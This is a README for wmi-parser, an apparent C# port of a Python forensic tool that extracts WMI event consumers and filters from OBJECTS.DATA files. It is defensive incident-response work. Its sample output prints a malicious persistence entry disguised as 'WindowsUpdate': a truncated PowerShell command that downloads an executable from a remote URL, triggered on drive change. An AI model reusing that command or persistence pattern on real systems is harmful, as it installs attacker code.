wmi-parser

TLDR

There is nothing new here! It is just a rewrite of @DavidPany excellent work into WMI parsing. The original pythin code can be found here:

https://github.com/davidpany/WMI_Forensics

Background

I need WMI parsing for autorunner, so converted the original python code to C#, and thought it might as well be available as a standalone tool. The only added feature is CSV export

Example

```
.\wmi-parser.exe -i .\OBJECTS.DATA

wmi-parser v0.0.1

Author: Mark Woan / woanware (markwoan@gmail.com)
https://github.com/woanware/wmi-parser

  SCM Event Log Consumer-SCM Event Log Filter - (Common binding based on consumer and filter names,  possibly legitimate)
    Consumer: NTEventLogEventConsumer ~ SCM Event Log Consumer ~ sid ~ Service Control Manager

    Filter:
      Filter Name : SCM Event Log Filter
      Filter Query: select * from MSFT_SCMEventLogEvent

  WindowsUpdate-DriveChanged

    Name: WindowsUpdate
    Type: CommandLineEventConsumer
    Arguments: powershell.exe -NoP [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(New-Object Net.WebClient).DownloadFile('https://gist.github.com/malwarez/ZXCVBN.exe?raw=true','explore

    Filter:
      Filter Name : DriveChanged
      Filter Query: SELECT * FROM Win32_VolumeChangeEvent
```